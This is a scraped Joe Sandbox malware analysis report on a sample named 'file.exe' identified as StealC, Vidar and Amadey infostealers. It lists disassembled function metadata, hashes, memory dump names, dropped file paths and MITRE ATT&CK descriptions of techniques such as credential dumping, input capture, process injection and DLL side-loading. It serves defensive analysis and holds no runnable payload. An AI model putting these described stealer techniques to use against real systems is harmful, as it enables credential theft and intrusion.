Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: b7d16f6321e6c534d2a7dd2ccbf689db11161b3ca85c47443273f3989840aaba
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: EAE026F1A1A1081A9B08987C9C0956E75C88B1DBA87044A37E933C2BC8FA94E444805D

Function 6C6EBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C6EBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C6EBEF5

Strings

cryptbase.dll, xrefs: 6C6EBEF0

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: fe6012da9903913275c13e4a460adb5687b85ada534375b26dd0bad1f78cfab0
Instruction ID: 1e63a50e7b176ada697a4e14fe8292fb3b64c90c0032fb0b5125186c29145d79
Opcode Fuzzy Hash: fe6012da9903913275c13e4a460adb5687b85ada534375b26dd0bad1f78cfab0
Instruction Fuzzy Hash: 40D0A731385208E6C6006B608D05B39377CA746355F50C031F30544851CBB1A421CF48

Function 6C72B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C72B2C9,?,?,?,6C72B127,?,?,?,?,?,?,?,?,?,6C72AE52), ref: 6C72B628

Part of subcall function 6C7290E0: free.MOZGLUE(?,00000000,?,?,6C72DEDB), ref: 6C7290FF
Part of subcall function 6C7290E0: free.MOZGLUE(?,00000000,?,?,6C72DEDB), ref: 6C729108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C72B2C9,?,?,?,6C72B127,?,?,?,?,?,?,?,?,?,6C72AE52), ref: 6C72B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C72B2C9,?,?,?,6C72B127,?,?,?,?,?,?,?,?,?,6C72AE52), ref: 6C72B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C72B127,?,?,?,?,?,?,?,?), ref: 6C72B74D

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 19f1b859958998bc495b3fca5f19d632a4f86a0993d4378db9df410e0b0863ae
Instruction ID: be09d6bf6d318f2ea53590a59784b58f27f27b331e0d91746c7745567f2341d8
Opcode Fuzzy Hash: 19f1b859958998bc495b3fca5f19d632a4f86a0993d4378db9df410e0b0863ae
Instruction Fuzzy Hash: 6D51C071A052168FDB14CF28CA84B5EB7B5FF49305F59852EC89BAB701DB35B804CBA1

Function 6C726E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C726EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C726EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C726F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C726F5C

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 61fcac67a67a0ccaf5f5a91cb7ced763e0d127cc60d4a6d184f7de8f1f190caf
Instruction ID: 1917adc7645dd19c029bc2470371cf73c91644e8fe2eda3458ee78000ecaf292
Opcode Fuzzy Hash: 61fcac67a67a0ccaf5f5a91cb7ced763e0d127cc60d4a6d184f7de8f1f190caf
Instruction Fuzzy Hash: B831F671A1060A8FDB14CF2CCE806AA73E9FB84304F54813ED41AD7655EF35E659C7A0

Function 6C73B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C6E0A4D), ref: 6C73B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C6E0A4D), ref: 6C73B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C6E0A4D), ref: 6C73B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C6E0A4D), ref: 6C73B67F

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 5320f68411e2784fa74b3df48151d19d6be3da14ee1b2ff4473f6f95af116448
Instruction ID: 951239175f981af80253c7eaf50f97d94cff026adfe97a74cd06c4f1db1f69c7
Opcode Fuzzy Hash: 5320f68411e2784fa74b3df48151d19d6be3da14ee1b2ff4473f6f95af116448
Instruction Fuzzy Hash: AE31E371A00626CFDB10CF68CD4465ABBB5EF84315F5A8579C80A9B203DB31F915CBA1

Function 6C70F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C70F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C70F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C70F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C70F668

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: cd2b267befd6c3ef1ba13411a1a71366a4a09db51454459495d1b7ee91532998
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: CA316FB1B00614AFC714CF1DCDC4A9B77F6EB84358B148539FA498BB05D631E9448B98

Function 6C7226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7226C1
free.MOZGLUE(?), ref: 6C7226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7226FF
free.MOZGLUE ref: 6C72270D

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0d9f0aefac1935b949de0789300ff94a00180e6bded432c8b920602d00850ed5
Instruction ID: 83dacde7dd31bad7ca10caa8c0a680ea5586655bb16c784bc3ddf88b0fe03fbb
Opcode Fuzzy Hash: 0d9f0aefac1935b949de0789300ff94a00180e6bded432c8b920602d00850ed5
Instruction Fuzzy Hash: 5BF02DB37012005BE7009E18DC88E4773ADEF4522CB540035EA1AC3F02E736FD19C6A5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CFCBKKKJJJKKEBGDAFIDAAAEHD

C:\ProgramData\CFIJEBFCGDAAKFHIDBFI

C:\ProgramData\CFIJEBFCGDAAKFHIDBFIDBKFHJ

C:\ProgramData\ECGDBFCB

C:\ProgramData\FBGIDHCAAKEBAKFIIIEBAAEGCG

C:\ProgramData\FHDHCAAKECFIDHIEBAKFCGCFCB

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre